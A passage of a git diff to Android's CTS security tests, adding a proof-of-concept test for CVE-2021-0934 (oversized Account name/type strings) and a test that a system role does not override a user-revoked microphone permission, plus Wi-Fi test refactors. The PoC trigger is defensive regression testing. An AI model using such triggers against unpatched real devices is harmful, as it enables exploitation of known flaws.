+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 169762606)
+ @Test
+ public void testPocCVE_2021_0934() {
+ try {
+ // Creating an account with arguments 'name' and 'type' whose
+ // lengths are greater than 200
+ String name = new String(new char[300]).replace("\0", "n");
+ String type = new String(new char[300]).replace("\0", "t");
+ Account acc = new Account(name, type);
+ assumeNotNull(acc);
+
+ // Shouldn't have reached here, unless fix is not present
+ fail("Vulnerable to b/169762606, allowing account name/type "
+ + "with character count 300 whereas limit is 200");
+ } catch (Exception e) {
+ if (e instanceof IllegalArgumentException) {
+ // This is expected with fix
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt b/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt
new file mode 100644
index 00000000000..2394cd22ffc
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.role.RoleManager
+import android.content.pm.PackageManager
+import android.os.Process
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.mainline.MainlineModule
+import com.android.compatibility.common.util.mainline.ModuleDetector
+import com.google.common.truth.Truth.assertThat
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.TimeUnit
+import java.util.function.Consumer
+import org.junit.After
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class RolePermissionOverrideTest {
+ private val instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val context = instrumentation.targetContext
+ private val packageManager = context.packageManager
+ private val roleManager = context.getSystemService(RoleManager::class.java)
+ private val user = Process.myUserHandle()
+
+ @Before
+ fun setUp() {
+ installPackage(TEST_APP_APK_PATH)
+ }
+
+ @After
+ fun tearDown() {
+ uninstallPackage(TEST_APP_PACKAGE_NAME)
+ }
+
+ @AsbSecurityTest(cveBugId = [202312327])
+ @Test
+ fun systemRoleDoesNotOverrideUserRevokedPermission() {
+ assumeFalse(
+ ModuleDetector.moduleIsPlayManaged(
+ packageManager, MainlineModule.PERMISSION_CONTROLLER_APEX
+ )
+ )
+ assumeTrue(roleManager.isRoleAvailable(ROLE_SYSTEM_SPEECH_RECOGNIZER))
+ val systemSpeechRecognizerPackageName = getRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER)
+ if (systemSpeechRecognizerPackageName != null) {
+ assertPermissionState(
+ systemSpeechRecognizerPackageName, android.Manifest.permission.RECORD_AUDIO, true
+ )
+ }
+ assertPermissionState(
+ TEST_APP_PACKAGE_NAME, android.Manifest.permission.RECORD_AUDIO, false
+ )
+
+ runWithShellPermissionIdentity {
+ packageManager.updatePermissionFlags(
+ android.Manifest.permission.RECORD_AUDIO, TEST_APP_PACKAGE_NAME,
+ PackageManager.FLAG_PERMISSION_USER_SET, PackageManager.FLAG_PERMISSION_USER_SET,
+ user
+ )
+ }
+ setBypassingRoleQualification(true)
+ try {
+ addRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER, TEST_APP_PACKAGE_NAME)
+
+ assertPermissionState(
+ TEST_APP_PACKAGE_NAME, android.Manifest.permission.RECORD_AUDIO, false
+ )
+ } finally {
+ setBypassingRoleQualification(false)
+ }
+ }
+
+ private fun installPackage(apkPath: String) {
+ runShellCommand("pm install -r --user ${user.identifier} $apkPath")
+ }
+
+ private fun uninstallPackage(packageName: String) {
+ runShellCommand("pm uninstall -r --user ${user.identifier} $packageName")
+ }
+
+ private fun getRoleHolders(roleName: String): List<String> =
+ callWithShellPermissionIdentity { roleManager.getRoleHolders(roleName) }
+
+ private fun getRoleHolder(roleName: String): String? = getRoleHolders(roleName).firstOrNull()
+
+ private fun setBypassingRoleQualification(bypassRoleQualification: Boolean) {
+ runWithShellPermissionIdentity {
+ roleManager.setBypassingRoleQualification(bypassRoleQualification)
+ }
+ }
+
+ private fun addRoleHolder(roleName: String, packageName: String) {
+ val future = CallbackFuture()
+ runWithShellPermissionIdentity {
+ roleManager.addRoleHolderAsUser(
+ roleName, packageName, 0, user, context.mainExecutor, future
+ )
+ }
+ assertThat(future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)).isEqualTo(true)
+ }
+
+ private fun assertPermissionState(
+ packageName: String,
+ permissionName: String,
+ isGranted: Boolean
+ ) {
+ assertThat(packageManager.checkPermission(permissionName, packageName)).isEqualTo(
+ if (isGranted) PackageManager.PERMISSION_GRANTED else PackageManager.PERMISSION_DENIED
+ )
+ }
+
+ companion object {
+ private const val TEST_APP_APK_PATH =
+ "/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk"
+ private const val TEST_APP_PACKAGE_NAME =
+ "android.security.cts.rolepermissionoverridetestapp"
+
+ private const val ROLE_SYSTEM_SPEECH_RECOGNIZER =
+ "android.app.role.SYSTEM_SPEECH_RECOGNIZER"
+
+ private const val TIMEOUT_MILLIS = 15_000L
+ }
+
+ private class CallbackFuture : CompletableFuture<Boolean>(), Consumer<Boolean> {
+ override fun accept(successful: Boolean) {
+ complete(successful)
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 76b6549c0d9..b6c2737587b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
*/
package android.security.cts;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@ import static org.junit.Assert.*;
*/
@AppModeFull
@RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
static final String TAG = "StagefrightTest";
- private Instrumentation mInstrumentation;
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
private final static long CHECK_INTERVAL = 50;
@Rule public TestName name = new TestName();
- @Before
- public void setup() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- }
-
class CodecConfig {
boolean isAudio;
/* Video Parameters - valid only when isAudio is false */
@@ -1151,7 +1146,7 @@ public class StagefrightTest {
}
@Test
- @AsbSecurityTest(cveBugId = 110435401)
+ @AsbSecurityTest(cveBugId = 68664359)
public void testStagefright_bug_110435401() throws Exception {
doStagefrightTest(R.raw.bug_110435401, 60000);
}
@@ -3264,8 +3259,4 @@ public class StagefrightTest {
assertFalse(hung);
}
-
- private Instrumentation getInstrumentation() {
- return mInstrumentation;
- }
}
diff --git a/tests/tests/security/testdata/rolepermissionoverridetestapp.xml b/tests/tests/security/testdata/rolepermissionoverridetestapp.xml
new file mode 100644
index 00000000000..783382abdf3
--- /dev/null
+++ b/tests/tests/security/testdata/rolepermissionoverridetestapp.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.rolepermissionoverridetestapp">
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application />
+</manifest>
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 81129ed68fe..a4f3ff5aaa7 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -1332,14 +1332,15 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
// Skip the test if wifi module version is older than S.
return;
}
- List<WifiConfiguration> testConfigs = new ArrayList<>();
- testConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OPEN));
- testConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OWE));
- testConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_PSK));
- testConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_SAE));
- testConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
+ List<WifiConfiguration> baseConfigs = new ArrayList<>();
+ baseConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OPEN));
+ baseConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_PSK));
+ baseConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
WifiConfiguration.SECURITY_TYPE_EAP));
- testConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
+ List<WifiConfiguration> upgradeConfigs = new ArrayList<>();
+ upgradeConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OWE));
+ upgradeConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_SAE));
+ upgradeConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE));
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
try {
@@ -1349,46 +1350,51 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
mWifiManager.getPrivilegedConfiguredNetworks().size();
final int originalCallerConfiguredNetworksNumber =
mWifiManager.getCallerConfiguredNetworks().size();
- for (WifiConfiguration c: testConfigs) {
+ for (WifiConfiguration c: baseConfigs) {
WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(c);
assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode);
assertTrue(result.networkId >= 0);
c.networkId = result.networkId;
}
- List<WifiConfiguration> expectedConfigs = testConfigs;
+ for (WifiConfiguration c: upgradeConfigs) {
+ WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(c);
+ assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode);
+ assertTrue(result.networkId >= 0);
+ c.networkId = result.networkId;
+ }
+ // open/owe, psk/sae, and wpa2e/wpa3e should be merged
+ // so they should have the same network ID.
+ for (int i = 0; i < baseConfigs.size(); i++) {
+ assertEquals(baseConfigs.get(i).networkId, upgradeConfigs.get(i).networkId);
+ }
+
+ int numAddedConfigs = baseConfigs.size();
+ List<WifiConfiguration> expectedConfigs = new ArrayList<>(baseConfigs);
if (SdkLevel.isAtLeastS()) {
- // open/owe, psk/sae, and wpa2e/wpa3e should be merged
- // so they should have the same network ID.
- assertEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
- assertEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
- assertEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
- } else {
- // Network IDs for different security types should be unique for R
- assertNotEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
- assertNotEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
- assertNotEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
- // WPA3-Enterprise is omitted when WPA2-Enterprise is present for R
- expectedConfigs = testConfigs.subList(0, 5);
+ // S devices and above will return one additional config per each security type
+ // added, so we include the number of both base and upgrade configs.
+ numAddedConfigs += upgradeConfigs.size();
+ expectedConfigs.addAll(upgradeConfigs);
}
List<WifiConfiguration> configuredNetworks = mWifiManager.getConfiguredNetworks();
- assertEquals(originalConfiguredNetworksNumber + expectedConfigs.size(),
+ assertEquals(originalConfiguredNetworksNumber + numAddedConfigs,
configuredNetworks.size());
assertConfigsAreFound(expectedConfigs, configuredNetworks);
List<WifiConfiguration> privilegedConfiguredNetworks =
mWifiManager.getPrivilegedConfiguredNetworks();
- assertEquals(originalPrivilegedConfiguredNetworksNumber + expectedConfigs.size(),
+ assertEquals(originalPrivilegedConfiguredNetworksNumber + numAddedConfigs,
privilegedConfiguredNetworks.size());
assertConfigsAreFound(expectedConfigs, privilegedConfiguredNetworks);
List<WifiConfiguration> callerConfiguredNetworks =
mWifiManager.getCallerConfiguredNetworks();
- assertEquals(originalCallerConfiguredNetworksNumber + expectedConfigs.size(),
+ assertEquals(originalCallerConfiguredNetworksNumber + numAddedConfigs,
callerConfiguredNetworks.size());
assertConfigsAreFound(expectedConfigs, callerConfiguredNetworks);
} finally {
- for (WifiConfiguration c: testConfigs) {
+ for (WifiConfiguration c: baseConfigs) {
if (c.networkId >= 0) {
mWifiManager.removeNetwork(c.networkId);
}
@@ -2276,6 +2282,7 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
* configuration.
* @throws Exception
*/
+ @VirtualDeviceNotSupported
public void testSetGetSoftApConfigurationAndSoftApCapabilityCallback() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -2365,6 +2372,7 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
* Verify that startTetheredHotspot with specific channel config.
* @throws Exception
*/
+ @VirtualDeviceNotSupported
public void testStartTetheredHotspotWithChannelConfigAndSoftApStateAndInfoCallback()
throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
@@ -2540,17 +2548,8 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
assertTrue(actionListener.onSuccessCalled);
// Wait for connection to complete & ensure we are connected to the saved network.
waitForConnection();
- if (SdkLevel.isAtLeastS()) {
- assertEquals(savedNetworkToConnect.networkId,
- mWifiManager.getConnectionInfo().getNetworkId());
- } else {
- // In R, auto-upgraded network IDs may be different from the original saved network.
- // Since we may end up selecting the auto-upgraded network ID for connection and end
- // up connected to the original saved network with a different network ID, we should
- // instead match by SSID.
- assertEquals(savedNetworkToConnect.SSID,
- mWifiManager.getConnectionInfo().getSSID());
- }
+ assertEquals(savedNetworkToConnect.networkId,
+ mWifiManager.getConnectionInfo().getNetworkId());
} finally {
// Re-enable all saved networks before exiting.
if (savedNetworks != null) {
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 0145e55b870..2faf29bb307 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -92,4 +92,7 @@
<!-- b/199996926 - No UWB stack support in AOSP for Android S -->
<option name="compatibility:exclude-filter" value="CtsUwbTestCases" />
+
+ <!-- b/183653612: CtsTransitionTestCases -->
+ <option name="compatibility:exclude-filter" value="CtsTransitionTestCases" />
</configuration>